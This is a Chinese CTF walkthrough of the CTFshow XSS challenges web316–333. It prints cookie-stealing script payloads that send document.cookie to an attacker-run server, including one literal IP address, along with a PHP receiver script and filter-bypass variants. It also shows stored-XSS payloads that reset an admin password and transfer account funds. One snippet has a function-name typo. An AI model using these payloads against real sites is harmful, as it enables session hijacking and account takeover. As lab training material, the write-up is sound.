CTFshow web入门 web316-web333 XSS

这篇具有很好参考价值的文章主要介绍了CTFshow web入门 web316-web333 XSS。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

XSS

我tm又来了,总之top10先过一遍,到第三个XSS了,下一个要去看了,看了网上很多wp总感觉不是太全,所以就自己写了一个

网站没有对用户提交的数据进行转义处理或者过滤不足,从而被恶意攻击者利用进而被添加一些恶意可执行脚本嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料,利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式

出现多的地方
1、数据交互的地方:
get、post、headers、反馈与浏览、富文本编辑器、各类标签插入和自定义
2、数据输出的地方:
用户资料、关键字、标签、说明、文件上传

废话不多说直接看题吧

前置准备

document.cookie							用于js获取当前网页的cookie值
window.location.href					 用于获取当前页面地址链接
window.location.href='www.baidu.com'	  用于相当于跳转地址

服务器准备的接收文件:xss.php
<?php
$cookie=$_GET['cookie'];
$myfile=fopen('cookie.txt','w+');
fwirte($myfile,$cookie);
fclose($myfile);
?>

http://[ip]/xss.php?cookie=document.cookie		用于给服务器发送当前界面的coolie
window.location.href='http://[ip]/xss.php?cookie='+document.cookie	用于指向服务器ip并把当前界面的cookie值作为get参数发送过去

最后的js语句payload:
<script>window.location.href='http://[ip]/xss.php?cookie='+document.cookie</script>

另外这里给出一些相关的文章,或许可以用到:

XSS总结:讲了很多标签的使用和常见过滤
还有,在选择标签的时候最好选择不需要进行操作就能够执行的标签,不然还要等管理员执行那个标签可能才能触发

另外这里还要说明一下:

因为这里是题目,是为了让我们了解XSS是什么,所以由于后台机器人的原因,你使用XSS后,机器人每隔很短的时间就会进行一次访问,从而很快就能获取到flag
但是如果是实战,想要获取一些信息,再网站里面使用了XSS,但是这个不一定立马回触发,得有相关人员点进去触发,如果自己设计不合理的话可能很难或者根本不会触发,总之这个要等,真不一定触发的说

web316

是个反射型XSS,后台会每隔一段时间(一般为15秒)去访问一次我们的链接,当bot访问我们的xss的时候我们就能拿到admin的cookie

现在控制台试试,输入以下语句

alert(document.cookie)

回车执行后会出现个弹窗,并显示当前界面的cookie

ctfshow xss,CTFshow web入门,前端,web3,xss

这是我们自己查询的cookie,我们需要的是admin用户,也就是bot来帮我们访问这个来获取cookie。很明显,因为不是admin的原因,回显的cookie并不是我们想要的

前端是html或者js写成的,所以多半是可以执行这两种代码的,不按常理出牌在祝福语那里输入一串js代码看有没有回显

在这之前需要现在自己服务器网站上添加一个xss.php文件,利用自己的服务器来接收信息,另外需要再同级目录下创建一个tmp文件夹,并把权限设置为777,不然可能没法写进去,其中内容为:

<?php
    $content = $_GET['xss'];
    if(isset($content)){
      file_put_contents('tmp/flag.txt', $content);
    }
    else{
      echo 'no data input';
    }
?>

然后再祝福语输入框中输入以下内容:

<script>document.location.href="http://[ip]/xss.php?xss="+document.cookie</script>

生成链接后就得到flag了

ctfshow xss,CTFshow web入门,前端,web3,xss

web317~319

似乎是过滤了script标签,替换还是有的,可以使用下面这个

<body onload="document.location.href='http://[ip]/xss.php?xss='+document.cookie"></body>

得到flag

ctfshow xss,CTFshow web入门,前端,web3,xss

web320~326

增加了过滤,不清楚是什么的情况下就慢慢去试
从后往前删

document.cookie">
+document.cookie">
xss='+document.cookie">
='http://[ip]/xss.php?xss='+document.cookie">
="document.location.href='http://[ip]/xss.php?xss='+document.cookie">
onload="document.location.href='http://[ip]/xss.php?xss='+document.cookie">

以上这些都是能够正常上传的,但再加上前面的一个空格就不行了,从而可知过滤的试空格
替换方法还是有的:tab、/**/

<body/**/onload="document.location.href='http://[ip]/xss.php?xss='+document.cookie"></body>

跳转了,读取cookie成功

ctfshow xss,CTFshow web入门,前端,web3,xss

web322~326过滤了xss这个字符,所以后续换成x.php,get传参也变成了x

<body/**/onload="document.location.href='http://[ip]/x.php?x='+document.cookie"></body>

web327

题目变成存储型XSS了

ctfshow xss,CTFshow web入门,前端,web3,xss

先试试前面的payload能不能用

ctfshow xss,CTFshow web入门,前端,web3,xss

没成功,显示网络拥堵,后来想一下应该是收件人的问题,应该为admin毕竟我们是要利用admin嘛,这样就发送成功了

稍作等待,就能看到flag了

ctfshow xss,CTFshow web入门,前端,web3,xss

web328

ctfshow xss,CTFshow web入门,前端,web3,xss

一个登录界面,先注册一个号看看里面是长什么样的
用户管理界面发现需要管理员的号才能看见用户名和密码什么的

ctfshow xss,CTFshow web入门,前端,web3,xss

这里的逻辑大概就是通过后台查询用户名和密码,然后通过前端的js显示用户名和密码,因为注册密码并没有什么限制,所以这里我们可以尝试通过注册一个密码为payload的用户来进行XSS远程

用到的是最开始的payload,上一个杀了很多的似乎不太行了
<script>document.location.href="http://[ip]/xss.php?xss="+document.cookie</script>
似乎有人再最后加了个分号,我也不清楚这个意义是什么,反正我没加有回显

这回是有了,但是只有一个phpsessid,并没有flag明文回显

ctfshow xss,CTFshow web入门,前端,web3,xss

那么这个phpsessid是什么呢,其实这个是admin用户的phpsessid,我们可以通过尝试伪造phpsessid来登录到admin用户来查看用户名和密码

再下面这里修改phpsessid

ctfshow xss,CTFshow web入门,前端,web3,xss

然后就可以发现已经登录到admin了,去用户管理界面,发现已经有用户名和密码显示出来了,但是界面一闪而过,这时候就可以抓包了,放掉第一个包,会有第二个包紧接着过来,这时候发到重发器,然后发过去就能看到flag了

ctfshow xss,CTFshow web入门,前端,web3,xss

web329

和上一个题目是类似的,但是由于这一次的机制问题,bot再登录了admin用户后可能立马就把admin用户登出了,导致不能cookie失效,所以获得到的phpsessid也都已经失效

首先得进行一下测试

ctfshow xss,CTFshow web入门,前端,web3,xss

可以看到前端代码中将要显示admin密码的地方类为laytable-cell-1-0-1
那么就能直接遍历出所有的这一项,再F12中的控制台中

$('.laytable-cell-1-0-1').each(function(index,value){
	console.log(value);
});

ctfshow xss,CTFshow web入门,前端,web3,xss

可以看到遍历出来了,然后我们可以在下面表单数据中,发现数据对应的变量名是什么

ctfshow xss,CTFshow web入门,前端,web3,xss

这里用innerHTML或者innerText都可以
然后的话就是需要再遍历到这个的同时发送给我们的服务器达到xss,另外判断条件因为我们要的是flag,是提前知道形式的,这里就是ctfshow,另外匹配字段被写为'ctf'+'show'是因为如果写成'ctfshow'的话,最终匹配的是我们写进去的XSS Payload,最终得到如下形式:

$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctfshow')>-1){
        console.log(value.innerHTML);
    }
});

ctfshow xss,CTFshow web入门,前端,web3,xss

注意这里输出的ctfshow这一句是我自己改的,双击密码可以自己手动改

然后再加上之前的xss注入,得到:

$('.laytable-cell-1-0-1').each(function(index,value){
    if(value.innerHTML.indexOf('ctf'+'show')>-1){
        window.location.href='http://[ip]/x.php?x='+value.innerHTML;
    }
});

加上标签,格式化一下(不需要空格)得到payload,利用注册上传:

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show')>-1){window.location.href='http://[ip]/x.php?x='+value.innerHTML;}});</script>

<script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show')>-1){window.location.href='http://47.106.93.115/x.php?x='+value.innerHTML;}});</script>

没有按照预想的一样得到flag,但这个似乎是admin账号的密码,直接尝试登录,登录进去了,也看到flag了,但是又是一闪而过,抓包获取flag,参考上一题的方法

ctfshow xss,CTFshow web入门,前端,web3,xss

web330

这次多了一个修改密码的选项

ctfshow xss,CTFshow web入门,前端,web3,xss

先抓包看看有什么功能

ctfshow xss,CTFshow web入门,前端,web3,xss

可以看到修改密码调用了这个请求,于是可以想到直接通过跳转一个get请求来修改管理员密码

<script>document.location.href="http://127.0.0.1/api/change.php?p=123456"</script>

解释一下这里的127.0.0.1,因为数据库是本地的,所以我吗可以通过直接修改本地的密码为123456来达到修改admin密码的目的

通过实践发现不行,换成用户名试试

ctfshow xss,CTFshow web入门,前端,web3,xss

登录成功,然后又是通过抓包获取flag,但这次是第一个包发送过去就能看到flag

ctfshow xss,CTFshow web入门,前端,web3,xss

反而第二个包发过去看不到了

web331

和上一题一样的形式,同样抓包看看

ctfshow xss,CTFshow web入门,前端,web3,xss

发现发送形式变成POST了,于是对应的payload也变成post形式就行了

<script>
$.ajax(
	{
		url:'api/change.php',
		type:'post',
		data:{
			p:'123456'
		}
	}
)
</script>

通过F12控制台测试发现可以修改,于是格式化一下,得到payload:

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}})</script>

登录成功,抓包查看

ctfshow xss,CTFshow web入门,前端,web3,xss

web332

又多出来几个功能

ctfshow xss,CTFshow web入门,前端,web3,xss

像这种汇款之类的可以先试试汇款负数金额

交易成功,😎

ctfshow xss,CTFshow web入门,前端,web3,xss

购买得到flag

ctfshow xss,CTFshow web入门,前端,web3,xss

web333

管理员访问用户管理,用注册的用户名执行js代码给另一个账户转账,所以需要注册两个用户名

转账逻辑:

ctfshow xss,CTFshow web入门,前端,web3,xss

同样可以通过测试写一个转账逻辑:

<script>
$.ajax(
	{
		url:'api/amount.php',
		type:'post',
		data:{
			u:'123',
			a:'5'
		}
	}
)
</script>

经过测试可以,格式化一下变成payload:

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'123',a:'10000'}})</script>

ctfshow xss,CTFshow web入门,前端,web3,xss

转账成功,😎

购买flag

ctfshow xss,CTFshow web入门,前端,web3,xss
至此ctfshow里面的xss入门题完结撒花,下一个应该也是top10里面的吧,逆向手太难了,不会点web基本上找不到工作,哭死


然后走个流程吧
ctfshow xss,CTFshow web入门,前端,web3,xss文章来源地址https://www.toymoban.com/news/detail-777463.html

到了这里,关于CTFshow web入门 web316-web333 XSS的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTFShow-Web入门

    web1 解题思路: 查看源代码 web2 解题思路: 在无法查看源代码的情况下可以使用快捷键 web3 解题思路: 查看源代码无效,尝试发送POST请求 web4 解题思路: 根据题目提示: 总有人把后台地址写入robots,帮黑阔大佬们引路。 找到了flag的路径 web5 解题思路: 根据题目提醒phps源码泄露,访

    2024年02月12日
    浏览(28)
  • ctfshow--web入门--文件上传

    目录 ctfshow--web入门--文件上传 web151(前端校验) web152(content-type) web153(.user.ini) web154(内容检测\\\'php\\\') web155(内容检测\\\'php\\\') web156(内容检测\\\'[\\\') web157(内容检测\\\'php\\\'\\\'[]\\\'\\\'{}\\\'\\\';\\\') web158(文件检测\\\'php\\\'\\\'{\\\'\\\'[\\\'\\\';\\\'\\\'log\\\') web159(日志包含) web160(日志空格检测) web161(日志文件头检测) web162web163(session包含) w

    2024年02月14日
    浏览(25)
  • ctfshow web入门 ssrf web351-355

    尝试访问本机的flag.php payload: 必须要用http或https,ip没有过滤因为匹配时没加变量,恒为真 payload: 必须要用http或https,过滤了127.0.,只要匹配到了127.0.就不能继续执行了 windows 0代表0.0.0.0 linux 0代表 127.0.0.1 可以用0代替127.0.0.1 payload: 过滤了0和1,可以把域名解析到127.0.0.1 http:/

    2024年02月05日
    浏览(46)
  • ctfshow web入门 爆破 21-28

    刚进去就要求我们登录,这里题目给了我们一个字典,就是这个字典为什么他那么多数字中 就一个字母的密码还不明显吗。   这里我们使用burp拦包,这里没有发现登录的账号密码,但是有一串可疑的字符串,尝试base64解密 这我们就得到了,我们测试用的账号密码了,这里将

    2024年02月01日
    浏览(27)
  • ctfshow web入门 sql注入

    sql注入分为多种类型的注入,我将对ctfshow web入门的sql入门进行题目分类,并在最后对每种sql注入做一下总结; 本题类型 联合注入 第一种方法 万能密码  第二种方法 联合注入 这是按照数据库中有3个数据库进行,因为题目一般为3,当然也可以使用查询语句进行查询,语句如

    2024年02月21日
    浏览(26)
  • 《CTFshow-Web入门》01. Web 1~10

    ctf - web入门 web1:网页源码查看。 web2:网页源码查看。 web3:burpsuite 抓包查看响应数据包。 web4:robots.txt 文件泄露后台地址。 web5:phps 文件泄露源码。 web6:网站备份压缩文件泄露源码。 web7:版本控制之 git 泄露源码。 web8:版本控制之 svn 泄露源码。 web9:vim 缓存信息泄露

    2024年02月05日
    浏览(51)
  • 《CTFshow-Web入门》09. Web 81~90

    ctf - web入门 web81:include() 利用,一句话木马之 Nginx 日志利用。 web82~86:include() 利用,条件竞争,利用 session 文件写入一句话木马。 web87:file_put_contents() 利用,伪协议 php://filter/ 。 web88:include() 利用,正则绕过,伪协议 data:// 。 web89:PHP 特性之 intval()。 web90:PHP 特性之

    2024年02月10日
    浏览(26)
  • 《CTFshow-Web入门》07. Web 61~70

    ctf - web入门 web61~70:post 请求之 eval() 利用。 这几个题都和 web58 一样。可能内部禁用的函数不一样吧。但 payload 都差不多。不多解释了。 以下解法随便挑一个即可。可能不同题会有部分函数被禁。 payload1 : payload2 : payload3 : payload4 : 题目没变化。 随便试一个函数。 根据

    2024年02月01日
    浏览(34)
  • Ctfshow web入门 nodejs篇 web334-web344

    前言:做原型链污染,入门的话个人建议先看看P神的文章,只看前四部分就行了。 深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com) 然后也得有一点js基础,不用太多,要不然看起来属实费劲。 建议看一下《Javascript百炼成仙》,有点小贵,也可以直接看知识点整理

    2024年02月16日
    浏览(44)
  • ctfshow-web入门——爆破(web21-web28)

    1.bp工具的使用 bp爆破的大概步骤: 抓包,Send to Intruder,Positions页面,add$(加入想要爆破的值),Payloads页面,Payload Options,Load,导入想跑的字典,点击Start attack custom iterator(自定义迭代器)模式: payload type选Custom iterrator,position1填admin,position2填: ,position3导入字典,按照

    2024年02月04日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包